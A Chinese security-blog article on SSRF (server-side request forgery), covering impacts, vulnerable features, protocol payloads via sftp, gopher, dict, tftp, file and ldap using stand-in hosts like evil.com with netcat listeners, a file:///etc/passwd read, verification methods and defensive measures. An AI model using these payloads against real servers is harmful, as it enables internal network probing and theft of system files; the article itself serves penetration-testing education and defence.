点击上方“蓝字”关注公众号获取最新信息!
本文作者:梭哈王、小米粥(贝塔安全实验室-核心成员)
By:梭哈王、小米粥
参考文章:
https://xz.aliyun.com/t/2115#toc-2
https://_thorns.gitbooks.io/sec/content/ssrf_tips.html
一:漏洞概念
SSRF全称为Server-side Request Fogery,中文含义为服务器端请求伪造,漏洞产生的原因是服务端提供了能够从其他服务器应用获取数据的功能,比如从指定的URL地址获取网页内容,加载指定地址的图片、数据、下载等等。
二:漏洞危害
1、可以对服务器所在的内网、本地进行端口扫描,获取一些服务的banner信息
2、攻击运行在内网或本地的应用程序(比如溢出)
3、对内网web应用进行指纹识别,通过访问应用存在的默认文件实现;
4、攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2漏洞利用等)
5、利用file协议读取本地文件
6、利用Redis未授权访问,HTTP CRLF注入达到getshell
7、DOS攻击(请求大文件,始终保持连接keep alive always)等等
1、 通过url地址分享网页内容功能处
2、转码服务
3、在线翻译
4、图片加载与下载(一般通过url地址加载或下载图片处)
5、图片、文章收藏功能
6、未公开的api实现以及其他调用url的功能
7、云服务器商(它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试)
8、有远程图片加载的地方(编辑器之类的远程图片加载处)
9、网站采集、网页抓取的地方(一些网站会针对你输入的url进行一些信息采集工作)
10、头像处(某易就喜欢远程加载头像,例如:http://www.xxxx.com/image?url=http://www.image.com/1.jpg)
11、邮件系统(比如接收邮件服务器地址)
12、编码处理, 属性信息处理,文件处理(比如ffpmg,ImageMagick,docx,pdf,xml处理器等)
13、从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)
1、sftp
sftp(http://xxx.com/ssrf.php?url=sftp://evil.com:11111/ evil.com:$ nc -v -l 11111
Connection from [192.168.0.10] port 11111 [tcp/*] accepted (family 2, sport 36136)
SSH-2.0-libssh2_1.4.2
)
2、gopher
gopher(http://xxx.com/ssrf.php?url=http://evil.com/gopher.php
<?php
header('Location: gopher://evil.com:12346/_HI%0AMultiline%0Atest');
?>
evil.com:# nc -v -l 12346
Listening on [0.0.0.0] (family 0, port 12346)
Connection from [192.168.0.10] port 12346 [tcp/*] accepted (family 2, sport 49398)
HI
Multiline
test)
3、dict
dict(http://xxx.com/ssrf.php?dict://attacker:11111/ evil.com:$ nc -v -l 11111
Connection from [192.168.0.10] port 11111 [tcp/*] accepted (family 2, sport 36136)
CLIENT libcurl 7.40.0)
4、file
file(http://xxx.com/redirect.php?url=file:///etc/passwd)
5、tftp
tftp(http://xxx.com/ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET evil.com:# nc -v -u -l 12346
Listening on [0.0.0.0] (family 0, port 12346)
TESTUDPPACKEToctettsize0blksize512timeout)
)
6、http/https
http/https(http://safebuff.com/redirect.php?url=http://ip:port)
7、ldap
ldap(http://xxxx.com/redirect.php?url=ldap://localhost:11211/%0astats%0aquit)
五:漏洞验证
1、排除法:浏览器f12查看源代码看是否是在本地进行了请求
比如:该资源地址类型为 http://www.xxx.com/a.php?image=URL,URL参数若是其他服务器地址就可能存在SSRF漏洞
2、dnslog等工具进行测试,看是否被访问(可以在盲打后台,用例中将当前准备请求的url和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求)
3、抓包分析发送的请求是不是通过服务器发送的,如果不是客户端发出的请求,则有可能是存在漏洞。接着找存在HTTP服务的内网地址
4、直接返回的Banner、title、content等信息
5、留意布尔型SSRF,通过判断两次不同请求结果的差异来判断是否存在SSRF,类似布尔型sql盲注方法。
6)利用http协议探测内网端口开放信息:
1、过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件,那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
2、禁用不需要的协议,仅仅允许http和https请求。可以防止file/gopher/dict等协议引起的问题
3、设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP)
4、限制请求的端口为http常用的端口,比如 80、443、8080、8090
5、统一配置错误信息,避免用户可以根据错误信息来判断远程服务器的端口状态。
更好的学习氛围,
欢迎加入我们的知识星球!
本文始发于微信公众号(阿乐你好):渗透系列之SSRF漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论